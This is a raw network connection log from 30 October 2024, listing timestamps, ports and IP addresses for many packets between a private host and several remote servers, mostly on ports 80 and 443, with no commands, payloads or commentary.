Oct 30, 2024 04:34:42.881367922 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.881381035 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.881412983 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.881426096 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.881463051 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.881468058 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.881475925 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.881515980 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.881519079 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.881601095 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.896140099 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.896161079 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.896168947 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.896219969 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.896230936 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.896260977 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.896289110 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.896332979 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.896333933 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.896333933 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.896342039 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.896373987 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.897044897 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.897109985 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.897192955 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.897196054 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.897242069 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.897258997 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.897298098 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.899374008 CET	443	51054	20.125.209.212	192.168.2.6
Oct 30, 2024 04:34:42.899499893 CET	51054	443	192.168.2.6	20.125.209.212
Oct 30, 2024 04:34:42.901582003 CET	51054	443	192.168.2.6	20.125.209.212
Oct 30, 2024 04:34:42.901591063 CET	443	51054	20.125.209.212	192.168.2.6
Oct 30, 2024 04:34:42.902586937 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.902594090 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.902637959 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.902638912 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.902754068 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.902784109 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.902796984 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.902796984 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.902813911 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.903224945 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.903266907 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.914855957 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.914872885 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.914930105 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.915133953 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.915152073 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.915170908 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.915184021 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.915199995 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.915225983 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.915231943 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.915276051 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.915299892 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.915348053 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.915370941 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.915383101 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.915394068 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.915430069 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.915430069 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.915442944 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.915455103 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.915466070 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.915477037 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.915483952 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.915509939 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.915509939 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.915926933 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.915939093 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.915949106 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.915981054 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.915981054 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.916016102 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.916094065 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.916105032 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.916132927 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.916160107 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.916181087 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.916192055 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.916203022 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.916229963 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.916255951 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.916515112 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.916527033 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.916538000 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.916563034 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.916589022 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.916594028 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.916606903 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.916656017 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.920011044 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.920058012 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.920087099 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.920105934 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.920136929 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.920160055 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.921255112 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.921346903 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.923964977 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.924025059 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.924047947 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.924065113 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.924072981 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.924093008 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.924101114 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.924118996 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.924137115 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.924154997 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.924180031 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.924186945 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.924212933 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.924674988 CET	443	51052	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:42.926564932 CET	51052	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:42.926644087 CET	443	51052	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:42.926740885 CET	51052	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:42.932189941 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.932223082 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.932230949 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.932733059 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.932739019 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.932804108 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.948414087 CET	443	51059	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.948466063 CET	443	51059	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.948703051 CET	51059	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.955399990 CET	443	51061	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.959398031 CET	443	51062	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.960020065 CET	51059	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.960058928 CET	443	51059	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.960087061 CET	51059	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.960107088 CET	443	51059	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.961930037 CET	51061	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.961946964 CET	443	51061	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.962450981 CET	51061	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.962455034 CET	443	51061	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.963079929 CET	51062	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.963093996 CET	443	51062	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.963866949 CET	51062	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.963872910 CET	443	51062	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.971703053 CET	51073	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.971739054 CET	443	51073	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.971833944 CET	51073	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.972007036 CET	51073	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.972033978 CET	443	51073	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.972515106 CET	443	51060	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.972572088 CET	443	51060	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.972642899 CET	51060	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.973757982 CET	51060	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.973757982 CET	51060	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.973768950 CET	443	51060	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.973781109 CET	443	51060	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.000629902 CET	443	51055	20.75.60.91	192.168.2.6
Oct 30, 2024 04:34:43.000652075 CET	443	51055	20.75.60.91	192.168.2.6
Oct 30, 2024 04:34:43.000689983 CET	51055	443	192.168.2.6	20.75.60.91
Oct 30, 2024 04:34:43.000699043 CET	443	51055	20.75.60.91	192.168.2.6
Oct 30, 2024 04:34:43.004589081 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.004635096 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.004647017 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.004647970 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.004684925 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.004720926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.004730940 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.004806995 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.004846096 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.004882097 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.004894018 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.004926920 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.004959106 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.004996061 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.005007029 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.005034924 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.005069971 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.013462067 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.013479948 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.013521910 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.013530970 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.013565063 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.013581991 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.016030073 CET	51055	443	192.168.2.6	20.75.60.91
Oct 30, 2024 04:34:43.016073942 CET	443	51055	20.75.60.91	192.168.2.6
Oct 30, 2024 04:34:43.016125917 CET	51055	443	192.168.2.6	20.75.60.91
Oct 30, 2024 04:34:43.017415047 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.017473936 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.017496109 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.017512083 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.017541885 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.017563105 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.018310070 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.018368959 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.018384933 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.018394947 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.018425941 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.038060904 CET	51075	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.038088083 CET	443	51075	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.038264990 CET	51075	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.038304090 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.038324118 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.038335085 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.038347960 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.038372993 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.038378954 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.038410902 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.038414001 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.038414001 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.038459063 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.038471937 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.038494110 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.038525105 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.038614988 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.038674116 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.038690090 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.038705111 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.038719893 CET	51075	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.038719893 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.038749933 CET	443	51075	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.038780928 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.038961887 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.038974047 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.039005995 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.039016008 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.039016008 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.039051056 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.039057016 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.039068937 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.039074898 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.039079905 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.039088011 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.039105892 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.039118052 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.039127111 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.039139032 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.039139986 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.039179087 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.039179087 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.039179087 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.039522886 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.039540052 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.039552927 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.039642096 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.039786100 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.039798021 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.039808989 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.039836884 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.039866924 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.039937973 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.039948940 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.039959908 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.039971113 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.039983034 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.039994001 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.040033102 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.040034056 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.040707111 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.040793896 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.040813923 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.040872097 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.040894032 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.040947914 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.041029930 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.041112900 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.046792030 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.046811104 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.047831059 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.047859907 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.047895908 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.047904968 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.047955990 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.049205065 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.049222946 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.055231094 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.055293083 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.055303097 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.055341005 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.055342913 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.055382013 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.055824041 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.055880070 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.057925940 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.057971954 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.057988882 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.058017015 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.058024883 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.058059931 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.087016106 CET	443	51061	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.087058067 CET	443	51061	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.087115049 CET	51061	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.087512970 CET	51061	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.087518930 CET	443	51061	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.087527037 CET	51061	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.087531090 CET	443	51061	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.090075016 CET	443	51062	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.090234995 CET	443	51062	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.090312004 CET	51062	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.092789888 CET	51062	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.092816114 CET	443	51062	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.092827082 CET	51062	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.092832088 CET	443	51062	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.097321033 CET	51076	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.097337961 CET	443	51076	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.097410917 CET	51076	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.098596096 CET	51077	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.098613024 CET	443	51077	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.098884106 CET	51077	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.099088907 CET	51076	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.099100113 CET	443	51076	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.099180937 CET	51077	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.099189043 CET	443	51077	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.099992990 CET	443	51065	23.198.7.184	192.168.2.6
Oct 30, 2024 04:34:43.100351095 CET	51065	443	192.168.2.6	23.198.7.184
Oct 30, 2024 04:34:43.100361109 CET	443	51065	23.198.7.184	192.168.2.6
Oct 30, 2024 04:34:43.101509094 CET	443	51065	23.198.7.184	192.168.2.6
Oct 30, 2024 04:34:43.101604939 CET	51065	443	192.168.2.6	23.198.7.184
Oct 30, 2024 04:34:43.103473902 CET	51065	443	192.168.2.6	23.198.7.184
Oct 30, 2024 04:34:43.103554964 CET	443	51065	23.198.7.184	192.168.2.6
Oct 30, 2024 04:34:43.103804111 CET	443	51064	23.198.7.184	192.168.2.6
Oct 30, 2024 04:34:43.104131937 CET	51064	443	192.168.2.6	23.198.7.184
Oct 30, 2024 04:34:43.104140043 CET	443	51064	23.198.7.184	192.168.2.6
Oct 30, 2024 04:34:43.105602026 CET	443	51064	23.198.7.184	192.168.2.6
Oct 30, 2024 04:34:43.105673075 CET	51064	443	192.168.2.6	23.198.7.184
Oct 30, 2024 04:34:43.106940985 CET	51064	443	192.168.2.6	23.198.7.184
Oct 30, 2024 04:34:43.107026100 CET	443	51064	23.198.7.184	192.168.2.6
Oct 30, 2024 04:34:43.108854055 CET	443	51063	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.109293938 CET	51063	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.109308958 CET	443	51063	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.109749079 CET	51063	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.109754086 CET	443	51063	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.127813101 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.127835035 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.127851963 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.127861977 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.127878904 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.127926111 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.127926111 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.127969980 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.128020048 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.128031969 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.128066063 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.128099918 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.128113031 CET	80	50987	185.215.113.206	192.168.2.6
